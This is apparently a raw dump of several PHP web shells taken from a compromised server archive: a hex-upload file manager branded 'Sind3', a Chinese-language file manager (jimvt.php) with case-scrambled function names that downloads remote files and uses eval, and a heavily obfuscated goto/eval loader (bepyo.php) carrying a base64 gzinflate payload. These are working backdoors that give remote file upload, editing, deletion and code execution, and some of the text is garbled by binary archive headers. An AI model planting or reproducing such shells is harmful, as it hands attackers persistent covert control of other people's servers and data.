    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
PK�jm\t�J��)�)	jimvt.phpnu�[���<?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
    $current_dir=$dir==''?$wwwroot:$dir;
    $current_dir=rtrim($current_dir,'/');
    $current_dir_nav='';
    $dir_path='';
    $current_dir_split=explode('/',$current_dir);
    foreach( $current_dir_split as $dir )
    {
        $dir_path.=$dir.'/';
        $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
    }
    $dir_rows='';
    $file_rows='';
    $current_dir_list=sCaNDir($current_dir);
    $row_id=0;
    foreach( $current_dir_list as $target_name )
    {
        if ( $target_name=='.' || $target_name=='..' ) continue;
        $target=$current_dir.'/'.$target_name;
        $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
        $row_id++;
        $target_u_id=fIlEOwNEr($target);
        $target_u_att=poSIx_GEtpWUid($target_u_id);
        $target_owner=$target_u_att['name'];
        $target_perm=get_qx($target);
        $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
        if ( is_dir($target) )
        {
            $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#"  onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }else
        {
            $target_fsize=fILesIzE($target);
            $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
            $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }
    }
    $div_html='<table cellspacing="10">
                 <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a>&nbsp;&nbsp;当前目录:'.$current_dir_nav.'&nbsp;&nbsp; <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
                 <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
                 '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
              </table>';  
}elseif ( $action=='sc' )
{
    if ( $file!='' )
    {
        uNlInk($file); jump_to('?d='.diRNaMe($file));
    }elseif( $dir!='' )
    {
        rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
    }
    exit;
}elseif( $action=='gm' )
{
    $gm=isset($_POST['gm'])?trim($_POST['gm']):'';
    if ( $gm!='' )
    {
        $old_f=$file==''?$dir:$file;
        if ( $old_f!='' && file_exists($old_f) )
        {
            $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
        }
    }else
    {
        show_msg('请输入新名称!','back');
    }
    exit;
}elseif( $action=='qx' )
{
    $target=$dir==''?$file:$dir;
    if ( $target!='' )
    {
        $qx=isset($_POST['qx'])?trim($_POST['qx']):'';
        if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
        {
            set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
        }else
        {
            show_msg('请输入新权限!','back');
        }
    }
    exit;
}elseif( $action=='ck' && $file!='' )
{
    if ( fiLEsIze($file)<10000000 )
    {
        HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
    }else
    {
        show_msg('文件大小超限!','close');
    }
    exit;
}elseif( $action=='bj' && $file!='' )
{
    if ( isset($_POST['f_content']) )  
    {
        FilE_pUt_COnteNts($file,$_POST['f_content']);
        md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
    }
    $f_content=is_file($file)?str_replace('</textarea>','&lt;/textarea>',FIle_gET_contENtS($file)):'';
    $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存">&nbsp;&nbsp;<input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; 
}elseif( $action=='tj' && $dir!='' )
{
    $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
    if ( $t_name=='' )
    {
        show_msg('请输入项目名称!','back');
    }else
    {
        if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
        if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
        if ( $_POST['t_type']=='tj_xz' ) 
        {
            preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
        }
        jump_to('?d='.$dir);
    }
    exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
    MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
    jump_to('?d='.$dir);
    exit;
}

function get_qx($t)
{
    $q=substr(sprintf('%o',fILepErMs($t)),-4);
    return $q;
}
function set_qx($t,$q)
{
    EvAl('cHMoD("'.$t.'",'.$q.');');
    if ( get_qx($t)!=$q )
    {
        $tmp_f=uniqid().'.txt';
        $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
        fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
        require($tmp_f);
        UnLInK($tmp_f);
    }
}

function rm_rf($d) 
{
    if (is_dir($d)) 
    {
        $f_l=sCaNDir($d);
        foreach ($f_l as $f) 
        {
            if ($f=='.'||$f=='..') continue;
            $p=$d.'/'.$f;
            is_dir($p)?rm_rf($p):uNliNk($p);
        }
        rMdIR($d);
    }
}

function show_msg($msg,$go)
{
    echo '<script>alert("'.$msg.'");</script>'; 
    if ($go=='back') echo '<script>window.history.back();</script>'; 
    if ($go=='close') echo '<script>window.close();</script>'; 
}

function jump_to($url)
{
    echo '<script>window.location.href="'.$url.'";</script>';
}

function down_file($dir,$url)
{
    $s_name=array_pop(explode('/',$url));
    if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
    $ch=CUrl_iNit();
    cuRl_seTOpt ($ch, CURLOPT_URL, $url);
    cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
    cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
    $contents = cUrl_eXeC($ch);
    cURl_CLosE($ch);
    if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
    if ( empty($contents) )
    {
        show_msg('下载出错!','');
    }else
    {
        fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
        show_msg('下载完成!','');        
    }
}

?>
<html>
    <head>
        <title>芝麻web文件管理</title>
        <meta name="robots" content="none">
        <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    </head>
    <body>
    <style>
    a {color:#000000;text-decoration:none;}
    a:hover {color:#ff0000;}
    .tl:hover {background-color:#eeeeee;}
    form {margin:0;}
    </style>
    <script>
        function show_input_box(s,t,f,a,)
        {
           var span=document.getElementById(s);
           if ( span.innerHTML=='' )
           {
                span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';                
           }else
           {
                span.innerHTML='';
           }
        }
        function confirm_sc(t,f)
        {
            if (f=='d')
            {
                if ( confirm('确定要删除此目录吗?') )
                {
                    window.location.href='?d='+t+'&a=sc';
                }
            }
            if (f=='f')
            {
                if ( confirm('确定要删除此文件吗?') )
                {
                    window.location.href='?f='+t+'&a=sc';
                }                
            }
        }
    </script>
        <div>
            <h1>芝麻web文件管理V1.00</h1>
            <?php echo $div_html;?>
        </div>
    </body>
</html>PK�jm\�����	about.phpnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK�jm\o�e�*�*�	bepyo.phpnu�[���<?php


/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/    goto   ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto ����;����:return(($���=gzinflate(substr(base64_decode('H4sIAAAAAAAAAzydt2KjWhRFP4iCnEoyIosMHVnkHL9+cPFeNR7ZkuFyz95rOWAyhdPs1jS45hH3QFTkd+eN23xFMVO4RABCzmtZ9lMpZrO333UcVafmOs83QN++Pi5YSRYVt2WExb/BAhuWHi1ex8gzBgGbxChMQ0Nl7zQIbXQLow0yPw2/8HtcH6w82/3EYFDAY10R/MD7I9jIIxxSjEOhKS9svd96C/SgbtuihFIj8Ml6sGP06EYtblQhr6j9c23VxZshRaejtgQrgmlBDPaDUS2qTVAe6G5BvOlsMUw9wV2LDFuclsaw1iGdNqZ/+Ryaij143ATILSBigcL2B1MDK66LwOeWO+KuU87GmR+24dQxMc2ZOPQnfUjkQzJK0Nd48WHcCojcXHVooiAe1SG5nJcuT8oOyqsCUDsYNNigbS80dNWnDS5AXSW3niqtI/Jn+wJ4MRSD8D46FG/2BwlO5z3ClpI2043u7goLqcd49ravBQTjGgDHO/x2HNaFuLwQFKCTFV8T4E3TovytWTHIlkoYvugJKVWdnzMfr8fpJCm0rD9Fdw+9Xq4H/HEofrsDZdX01Wufdv5aJarLZzKAvOr1LEopKDNP92r5EYObizYooMGWbGgluV9kwc9AfkmI2CYT61yCQW2e4P45017iRq6pfqRBAcImO/c6KAlMYjSqXY6cK2aSjQBm0JVhHsbZmZRzrH0sMMUICC9LIC3F4LWa4rRQeQAbv4ra1id3XTOQLSmfr1mJWA/vYU2QXWEA+5QV0sk8lT8MI6NjfbYMD+LPr3pSUf5xnFMVg2EG4sIYxQ6MlsibeqEKE7BwtwzMq8t6pqbJ/g+OhlMbxqfBAO9ellOjbGmhTB0LdA7bM3pkMgRY7ZQbcIFDJVsePz7pV/7zQSNcDCiNEsLuilsO3i+9FeJKvxA2idF7fTakjqd4BT/aBsPqOkzrMbbBKX2OFTBRONZ2q7GnzkZY+dskmB4/tU38RNq3+Qei2dH7MdayG0eKQ+W